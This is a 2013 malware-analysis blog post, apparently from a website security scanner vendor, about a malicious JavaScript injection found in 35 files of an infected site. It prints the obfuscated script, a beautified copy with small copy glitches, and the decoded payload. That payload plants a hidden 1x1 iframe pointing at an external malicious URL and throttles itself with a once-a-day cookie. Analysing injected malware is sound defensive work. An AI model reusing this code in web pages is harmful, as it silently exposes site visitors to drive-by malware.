Friday, May 10, 2013

Malicious injection of hidden iframe leading to malicious resource


Malicious injection of hidden iframe leading to malicious resource

Background

Online Website Malware Scanner has identified malicious iframe injection in the scanned website. This infected website hosts suspicious JavaScript code injected in 35 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu May 9 20:57:45 2013
Infected website's files: 35
Website malware scan report link: http://goo.gl/bgWyb
Pastebin: http://pastebin.com/A8uZEazV

Online Website Security Scanner
Quttera | Website Malware Scanner 




Malicious JavaScript
Malicious javascript







Threat dump: [[<script type='text/javascript' language='javascript' >
                                                                                                                                                                                                                                                                                                            p=parseInt;
ss=(123)?String.fromCharCode:0;
asgq="66!75!6e!63!74!6@!6f!6e!20!7a!7a!7a!66!66!66!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!70!6d!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!70!6d!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!66!74!70!2e!65!6c!68!65!72!6d!65!6e!65!75!74!61!2e!6f!72!67!2f!63!67!6@!2d!62!6@!6e!2f!63!6c!6b!2e!70!68!70!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!70!6d!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!70!6d!2@!3b!d!a!20!20!20!20!7d!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!53!65!74!43!6f!6f!6b!6@!65!28!63!6f!6f!6b!6@!65!4e!61!6d!65!2c!63!6f!6f!6b!6@!65!56!61!6c!75!65!2c!6e!44!61!7@!73!2c!70!61!74!68!2@!20!7b!d!a!20!76!61!72!20!74!6f!64!61!7@!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!76!61!72!20!65!78!70!6@!72!65!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!6@!66!20!28!6e!44!61!7@!73!3d!3d!6e!75!6c!6c!20!7c!7c!20!6e!44!61!7@!73!3d!3d!30!2@!20!6e!44!61!7@!73!3d!31!3b!d!a!20!65!78!70!6@!72!65!2e!73!65!74!54!6@!6d!65!28!74!6f!64!61!7@!2e!67!65!74!54!6@!6d!65!28!2@!20!2b!20!33!36!30!30!30!30!30!2a!32!34!2a!6e!44!61!7@!73!2@!3b!d!a!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!20!3d!20!63!6f!6f!6b!6@!65!4e!61!6d!65!2b!22!3d!22!2b!65!73!63!61!70!65!28!63!6f!6f!6b!6@!65!56!61!6c!75!65!2@!d!a!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!2b!20!22!3b!65!78!70!6@!72!65!73!3d!22!20!2b!20!65!78!70!6@!72!65!2e!74!6f!47!4d!54!53!74!72!6@!6e!67!28!2@!20!2b!20!28!28!70!61!74!68!2@!20!3f!20!22!3b!20!70!61!74!68!3d!22!20!2b!20!70!61!74!68!20!3a!20!22!22!2@!3b!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!47!65!74!43!6f!6f!6b!6@!65!28!20!6e!61!6d!65!20!2@!20!7b!d!a!20!76!61!72!20!73!74!61!72!74!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!6e!61!6d!65!20!2b!20!22!3d!22!20!2@!3b!d!a!20!76!61!72!20!6c!65!6e!20!3d!20!73!74!61!72!74!20!2b!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2b!20!31!3b!d!a!20!6@!66!20!28!20!28!20!21!73!74!61!72!74!20!2@!20!26!26!d!a!20!28!20!6e!61!6d!65!20!21!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!30!2c!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2@!20!2@!20!2@!d!a!20!7b!d!a!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!7d!d!a!20!6@!66!20!28!20!73!74!61!72!74!20!3d!3d!20!2d!31!20!2@!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!76!61!72!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!22!3b!22!2c!20!6c!65!6e!20!2@!3b!d!a!20!6@!66!20!28!20!65!6e!64!20!3d!3d!20!2d!31!20!2@!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6c!65!6e!67!74!68!3b!d!a!20!72!65!74!75!72!6e!20!75!6e!65!73!63!61!70!65!28!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!6c!65!6e!2c!20!65!6e!64!20!2@!20!2@!3b!d!a!7d!d!a!6@!66!20!28!6e!61!76!6@!67!61!74!6f!72!2e!63!6f!6f!6b!6@!65!45!6e!61!62!6c!65!64!2@!d!a!7b!d!a!6@!66!28!47!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2@!3d!3d!35!35!2@!7b!7d!65!6c!73!65!7b!53!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2c!20!27!35!35!27!2c!20!27!31!27!2c!20!27!2f!27!2@!3b!d!a!d!a!7a!7a!7a!66!66!66!28!2@!3b!d!a!7d!d!a!7d".replace(/@/g,"9").split("!");
try
{
document.body%26=0.1
}
catch(gdsgsdg)
{
zz=3;
dbshre=168;
if(dbshre)
{
vfvwe=0;
try
{
document;
}
catch(agdsg)
{
vfvwe=1;
}
if(!vfvwe)
{
e=eval;
}
s="";
if(zz)for(i=0;
i-1374!=0;
i++)
{
if(window.document)s+=ss(p(asgq[i],16));
}
if(window.document)e(s);
}
}

 </script>]]


Malware entry


Malware entry details.

Beautified script


  1. = parseInt;                                                                                                                                                                                                                                                                                                          ss = (123) ?String.fromCharCode : 0;
  2. asgq ="66!75!6e!63!74!6@!6f!6e!20!7a!7a!7a!66!66!66!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!70!6d!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!70!6d!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!66!74!70!2e!65!6c!68!65!72!6d!65!6e!65!75!74!61!2e!6f!72!67!2f!63!67!6@!2d!62!6@!6e!2f!63!6c!6b!2e!70!68!70!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!6d!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!70!6d!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!6d!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!70!6d!2@!3b!d!a!20!20!20!20!7d!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!53!65!74!43!6f!6f!6b!6@!65!28!63!6f!6f!6b!6@!65!4e!61!6d!65!2c!63!6f!6f!6b!6@!65!56!61!6c!75!65!2c!6e!44!61!7@!73!2c!70!61!74!68!2@!20!7b!d!a!20!76!61!72!20!74!6f!64!61!7@!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!76!61!72!20!65!78!70!6@!72!65!20!3d!20!6e!65!77!20!44!61!74!65!28!2@!3b!d!a!20!6@!66!20!28!6e!44!61!7@!73!3d!3d!6e!75!6c!6c!20!7c!7c!20!6e!44!61!7@!73!3d!3d!30!2@!20!6e!44!61!7@!73!3d!31!3b!d!a!20!65!78!70!6@!72!65!2e!73!65!74!54!6@!6d!65!28!74!6f!64!61!7@!2e!67!65!74!54!6@!6d!65!28!2@!20!2b!20!33!36!30!30!30!30!30!2a!32!34!2a!6e!44!61!7@!73!2@!3b!d!a!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!20!3d!20!63!6f!6f!6b!6@!65!4e!61!6d!65!2b!22!3d!22!2b!65!73!63!61!70!65!28!63!6f!6f!6b!6@!65!56!61!6c!75!65!2@!d!a!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!20!2b!20!22!3b!65!78!70!6@!72!65!73!3d!22!20!2b!20!65!78!70!6@!72!65!2e!74!6f!47!4d!54!53!74!72!6@!6e!67!28!2@!20!2b!20!28!28!70!61!74!68!2@!20!3f!20!22!3b!20!70!61!74!68!3d!22!20!2b!20!70!61!74!68!20!3a!20!22!22!2@!3b!d!a!7d!d!a!66!75!6e!63!74!6@!6f!6e!20!47!65!74!43!6f!6f!6b!6@!65!28!20!6e!61!6d!65!20!2@!20!7b!d!a!20!76!61!72!20!73!74!61!72!74!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!6e!61!6d!65!20!2b!20!22!3d!22!20!2@!3b!d!a!20!76!61!72!20!6c!65!6e!20!3d!20!73!74!61!72!74!20!2b!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2b!20!31!3b!d!a!20!6@!66!20!28!20!28!20!21!73!74!61!72!74!20!2@!20!26!26!d!a!20!28!20!6e!61!6d!65!20!21!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!30!2c!20!6e!61!6d!65!2e!6c!65!6e!67!74!68!20!2@!20!2@!20!2@!d!a!20!7b!d!a!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!7d!d!a!20!6@!66!20!28!20!73!74!61!72!74!20!3d!3d!20!2d!31!20!2@!20!72!65!74!75!72!6e!20!6e!75!6c!6c!3b!d!a!20!76!61!72!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6@!6e!64!65!78!4f!66!28!20!22!3b!22!2c!20!6c!65!6e!20!2@!3b!d!a!20!6@!66!20!28!20!65!6e!64!20!3d!3d!20!2d!31!20!2@!20!65!6e!64!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!6c!65!6e!67!74!68!3b!d!a!20!72!65!74!75!72!6e!20!75!6e!65!73!63!61!70!65!28!20!64!6f!63!75!6d!65!6e!74!2e!63!6f!6f!6b!6@!65!2e!73!75!62!73!74!72!6@!6e!67!28!20!6c!65!6e!2c!20!65!6e!64!20!2@!20!2@!3b!d!a!7d!d!a!6@!66!20!28!6e!61!76!6@!67!61!74!6f!72!2e!63!6f!6f!6b!6@!65!45!6e!61!62!6c!65!64!2@!d!a!7b!d!a!6@!66!28!47!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2@!3d!3d!35!35!2@!7b!7d!65!6c!73!65!7b!53!65!74!43!6f!6f!6b!6@!65!28!27!76!6@!73!6@!74!65!64!5f!75!71!27!2c!20!27!35!35!27!2c!20!27!31!27!2c!20!27!2f!27!2@!3b!d!a!d!a!7a!7a!7a!66!66!66!28!2@!3b!d!a!7d!d!a!7d".replace(/@/g,"9").split("!");
  3.                                                                                                                                                                                                                                                                                                            try {
  4.         document.body % 26 = 0.1
  5. } catch (gdsgsdg) {
  6.         zz = 3;
  7.         dbshre = 168;
  8.         if (dbshre) {
  9.                 vfvwe = 0;
  10.                 try {
  11.                         document;
  12.                 } catch (agdsg) {
  13.                         vfvwe = 1;
  14.                 }
  15.                 if (!vfvwe) {
  16.                         e = eval;
  17.                 }
  18.                 s = "";
  19.                 if (zz)
  20.                         for (= 0; i - 1374 != 0; i++) {
  21.                                 if (window.document) s += ss(p(asgq[i], 16));
  22.                         }
  23.                 if (window.document) e(s);
  24.         }                                                                                                                                                                                                                                                                                                           }

Malicious payload


Decoded payload generates hidden iframe to http://ftp.elhermeneuta.org/cgi-bin/clk.php into DOM document only if current visitor didn't visit this site in last 24 hours




  1. function zzzfff() {
  2.     var pm = document.createElement('iframe');
  3.     pm.src = 'http://ftp.elhermeneuta.org/cgi-bin/clk.php';
  4.     pm.style.position = 'absolute';
  5.     pm.style.border = '0';
  6.     pm.style.height = '1px';
  7.     pm.style.width = '1px';
  8.     pm.style.left = '1px';
  9.     pm.style.top = '1px';
  10.  
  11.     if (!document.getElementById('pm')) {
  12.         document.write('<div id=\'pm\'></div>');
  13.         document.getElementById('pm').appendChild(pm);
  14.     }
  15. }
  16.  
  17. function SetCookie(cookieName, cookieValue, nDays, path) {
  18.     var today = new Date();
  19.     var expire = new Date();
  20.     if (nDays == null || nDays == 0) nDays = 1;
  21.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  22.     document.cookie = cookieName + "=" + escape(cookieValue)
  23.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  24. }
  25.  
  26. function GetCookie(name) {
  27.     var start = document.cookie.indexOf(name + "=");
  28.     var len = start + name.length + 1;
  29.     if ((!start) && (name != document.cookie.substring(0, name.length)))
  30.     {
  31.         return null;
  32.     }
  33.  
  34.     if (start == -1) return null;
  35.  
  36.     var end = document.cookie.indexOf(";", len);
  37.  
  38.     if (end == -1) end = document.cookie.length;
  39.  
  40.     return unescape(document.cookie.substring(len, end));
  41.  
  42. }
  43.  
  44. if (navigator.cookieEnabled)
  45. {
  46.  
  47.     if (GetCookie('visited_uq') == 55) {} else {
  48.         SetCookie('visited_uq', '55', '1', '/');
  49.         zzzfff();
  50.     }
  51. }


Blacklisting status


The website is Suspicious on Google Safe Browsing.


Google Safe Browsing Analysis 

Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

No comments:

Post a Comment